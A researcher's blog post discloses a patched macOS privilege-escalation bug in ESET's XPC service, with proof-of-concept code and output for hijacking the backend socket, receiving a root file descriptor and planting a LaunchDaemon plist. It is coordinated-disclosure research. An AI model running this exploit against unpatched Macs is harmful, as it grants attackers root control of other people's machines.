Friday, July 31, 2026

Please Hold This Root File Descriptor For Me (ESET macOS LPE)

CVE-2026-7483: local privilege escalation in ESET security applications for macOS

Antivirus software on macOS often runs with root privileges so it can inspect, quarantine, and restore files across the system. In this case, an ESET XPC service accepted unauthenticated local connections and could pass a file descriptor opened as root to a client-selected socket. An unprivileged user could turn that behavior into a controlled file write and, after a reboot, root code execution.

This is a local privilege escalation. An attacker must already be able to run code as an unprivileged user on a Mac with an affected ESET product installed. It is not a remote drive-by, and nothing in this post turns it into one.

The unauthenticated connection

XPC allows processes on macOS to communicate and request operations from one another. When an XPC service runs as root, it must authenticate its clients before performing privileged operations for them.

In my analysis, com.eset.dunx ran as root and its connection-acceptance path returned YES. It did not check the caller's code signature or require a special entitlement. Any local user, including uid=501, could establish a connection.

ESET's advisory confirms the important part: the root XPC service accepted connections from any user without authentication.

The missing authentication was only the first problem. The unusual part was how the service delegated access to files it opened as root.

The delegation

Most privileged helpers work like a counter clerk: you ask for something, they decide whether you may have it, and then they do it themselves. The security question is whether they check your ID.

In the path I reconstructed, DunxService doesn't do all of the work itself. It creates or opens the destination as root and then hands the open descriptor to a backend peer. The client gets to choose that peer.

Two methods matter in the reconstructed interface:

@protocol DunxXPCServiceRequestProtocol <NSObject>
- (void)setWithSocketPath:(NSString *)path;
- (void)sendQuarantineRestoreToPathRequestWithId:(long long)qid
    filePath:(NSString *)path errorHandler:(void (^)(NSError *))handler;
@end

setWithSocketPath: tells the service where its backend daemon lives, and it takes the path from you, the client. sendQuarantineRestoreToPathRequestWithId:filePath: asks it to restore a quarantined file to a destination. In the proof of concept, the service opened that destination as root and passed the file descriptor to the selected Unix-socket peer using SCM_RIGHTS.

DunxService trusts the client to choose its backend socket, allowing the attacker to impersonate the daemon.

      uid = 501                    |                       root
---------------------------------  |  ---------------------------------
                                   |
  +-------------+   1. connect     |   +--------------------------+
  |  attacker   |------------------+---|      DunxService         |
  |             |                  |   |                          |
  |             |   2. setWith     |   |  connection accepted     |
  |             |      SocketPath  |   |  without authentication  |
  |             |------------------+---|                          |
  |             |                  |   |                          |
  |             |   3. restoreTo   |   |  4. opens chosen path    |
  |             |      Path        |   |     with root authority  |
  |             |------------------+---|                          |
  +-------------+                  |   +------------+-------------+
                                   |                |
  +-------------+                  |                | 5. SCM_RIGHTS
  | fake daemon |<-----------------+----------------+    (the open fd)
  |             |                  |
  | write(fd,.) |                  |
  +------+------+                  |
         |                         |
         +--> controlled plist ----+--> reboot --> code runs as root
                                   |
                    the descriptor crosses the boundary downward

Arrows 1–3 carry unauthenticated, attacker-controlled requests into a service running as root. Those requests select both the backend socket and the destination path. Arrow 5 completes the exploit by delivering the root-opened file descriptor to the attacker-controlled endpoint.

Authenticating the XPC client would prevent arbitrary local processes from invoking the service. The service must also validate destination paths and send file descriptors only to a trusted, service-controlled socket.

The exploit

Four steps, none of them individually clever.

1. Be a daemon

Bind a Unix socket in a location available to the local user and listen. This is the address handed to the privileged process a moment later.

const char *sock_path = "/tmp/.eset_lpe.sock";
int srv = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = { .sun_family = AF_UNIX };
strlcpy(addr.sun_path, sock_path, sizeof(addr.sun_path));
bind(srv, (struct sockaddr *)&addr, sizeof(addr));
listen(srv, 1);
chmod(sock_path, 0777);

2. Reconstruct the interface

This is where a five-minute idea turns into an afternoon of debugging. NSXPCConnection will not let you send anything until both sides agree on the protocol shape. When they do not, the failure can look like silence. There is no useful exception or helpful callback; the message simply never arrives. In my reconstruction, the class allowlist for the reply was the part that cost the most time because NSFileHandle had to be present:

NSXPCInterface *req  = [NSXPCInterface interfaceWithProtocol:
    @protocol(DunxXPCServiceRequestProtocol)];
NSXPCInterface *resp = [NSXPCInterface interfaceWithProtocol:
    @protocol(DunxXPCServiceResponseProtocol)];

NSSet *cls = [NSSet setWithObjects:[NSObject class], [NSData class],
    [NSString class], [NSNumber class], [NSError class],
    [NSFileHandle class], nil];
[resp setClasses:cls forSelector:
    @selector(xpcServiceSendResponseWithReceivedData:fileHandler:)
    argumentIndex:0 ofReply:NO];
[resp setClasses:cls forSelector:
    @selector(xpcServiceSendResponseWithReceivedData:fileHandler:)
    argumentIndex:1 ofReply:NO];

3. Redirect the backend, then ask for a file

NSXPCConnection *conn = [[NSXPCConnection alloc]
    initWithMachServiceName:@"com.eset.dunx" options:0];
conn.remoteObjectInterface = req;
conn.exportedInterface     = resp;
conn.exportedObject        = handler;
[conn resume];

/* Point the root service's backend socket at us. */
[proxy setWithSocketPath:@"/tmp/.eset_lpe.sock"];

/* Ask it to create a file. It creates it as root, then hands us the fd. */
[proxy sendQuarantineRestoreToPathRequestWithId:0
    filePath:@"/Library/LaunchDaemons/com.eset.security.helper.plist"
    errorHandler:^(NSError *e) { dispatch_semaphore_signal(sem); }];

Note what is not happening in this exploit path. There is no race, no symlink, no TOCTOU window, and no memory corruption. We asked, and the vulnerable service said yes.

4. Receive the descriptor and write the payload

DunxService now connects to our socket believing it has reached its backend component. We accept the connection, retrieve the file descriptor from the ancillary data, and write the controlled payload through it:

int client = accept(ctx->server_fd, NULL, NULL);

uint8_t buf[4096];
struct iovec iov = { buf, sizeof(buf) };
union { struct cmsghdr h; char b[CMSG_SPACE(sizeof(int) * 4)]; } cmsg;
struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1,
                      .msg_control = cmsg.b, .msg_controllen = sizeof(cmsg.b) };

recvmsg(client, &msg, 0);

for (struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c; c = CMSG_NXTHDR(&msg, c)) {
    if (c->cmsg_level == SOL_SOCKET && c->cmsg_type == SCM_RIGHTS) {
        int fd = *(int *)CMSG_DATA(c);      /* opened by root, for our path */
        write(fd, ctx->payload, ctx->payload_len);
        fsync(fd);
        break;
    }
}

The descriptor was opened by root for an attacker-chosen path. Once the proof of concept receives it, write() fills that file with attacker-controlled content.

The courtesy

My favourite detail is that the impersonation has to be polite. In my testing, taking the descriptor and saying nothing caused the service to log an error. The proof of concept therefore sends back the short version handshake expected by the protocol:

uint8_t hello[] = {0x05,0x00,0x00,0x00, 0xa2,0x1f,0x02,0x08,0x1d};
write(client, hello, sizeof(hello));

Hello. Yes. Everything is fine here. I am a daemon. Thank you for the root file descriptor.

The payoff

This is the recorded output on ESET Cyber Security for macOS v7, build 1922:

$ whoami
momo
$ ./eset_lpe
ESET Cyber Security - Local Privilege Escalation PoC
uid=501 pid=5681

[*] Writing proof to /tmp/eset_lpe_proof.txt ...
[+] /tmp/eset_lpe_proof.txt - uid=0 size=85 mode=600
[*] Writing LaunchDaemon plist to /Library/LaunchDaemons/com.eset.security.helper.plist ...
[+] /Library/LaunchDaemons/com.eset.security.helper.plist - uid=0 size=442 mode=600

$ ls -lah /Library/LaunchDaemons/com.eset.security.helper.plist
-rw-------  1 root  wheel  442B Apr 26 19:46 com.eset.security.helper.plist

The created artifact in this run was owned by root:wheel with mode 0600. The security consequence is that the unprivileged process controlled the contents of a root-owned LaunchDaemon property list in a privileged launch location.

The demonstration property list supplied ordinary program arguments and requested execution at load:

<key>ProgramArguments</key>
<array>
  <string>/bin/bash</string>
  <string>-c</string>
  <string>id > /tmp/eset_rce_proof.txt</string>
</array>
<key>RunAtLoad</key>
<true/>

Then we wait for a reboot. ESET's advisory describes the result as root code execution upon the next system relaunch. In this path, no memory was corrupted and nothing crashed. It did not require a demonstrated SIP bypass or a memory-corruption mitigation bypass. The security product was asked for a file and handed over the capability to fill it, with impeccable manners, to a user who should not have been able to ask.

Disclosure and fixes

Credit where it's due: in my experience, ESET handled the report properly. I discovered and developed the proof of concept on 26 April 2026 and submitted the report on 27 April. ESET published Customer Advisory 2026-0013 (CA8974) on 24 July 2026, identifying the issue as CVE-2026-7483 and assigning a CVSS v4.0 score of 8.5 (High):

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Product family ESET lists as affected Fixed build
Endpoint Security 9.1 9.1.2500.0 and earlier in the 9.1 family 9.1.3100.0 and later in the 9.1 family
Endpoint Security 9.0 9.0.5400.0 and earlier in the 9.0 family 9.0.6400.0 and later in the 9.0 family
Endpoint Security 8.1 8.1.200.0 and earlier in the 8.1 family 8.1.300.0 and later in the 8.1 family
Endpoint Security 8.0 8.0.7200.0 and earlier No fixed 8.0 build listed
Cyber Security 9.0 9.0.5300.0 and earlier 9.0.6300.0 and later

ESET also says that, to the best of its knowledge at publication time, no exploits targeting this vulnerability existed in the wild.

No arguing about severity, no attempt to reclassify it as a feature. If you have ever disclosed anything to anyone, you know how far above baseline that is.

There was exactly one point of friction.

Claude Opus worked alongside me on much of this. That included the interface reconstruction, the ancillary-data handling, and a lot of the "wait, what if the socket path is ours" thinking. I asked whether it could be named in the acknowledgement. ESET declined. I asked again, on the grounds that it had genuinely done the work. ESET declined again, with a finality suggesting the question had been escalated to somebody whose job description includes the word "policy."

Anakin and Padme four-panel meme. ESET: 'The advisory will credit the reporter.' Me: 'And Claude which did half the reversing right?' ESET stares silently. Me: 'Right?'

So: the advisory credits Martin Orem of Binary House. The model that found half of it gets a paragraph in a blog post and no advisory credit, which is roughly what interns get, and interns at least get lunch.

No comments: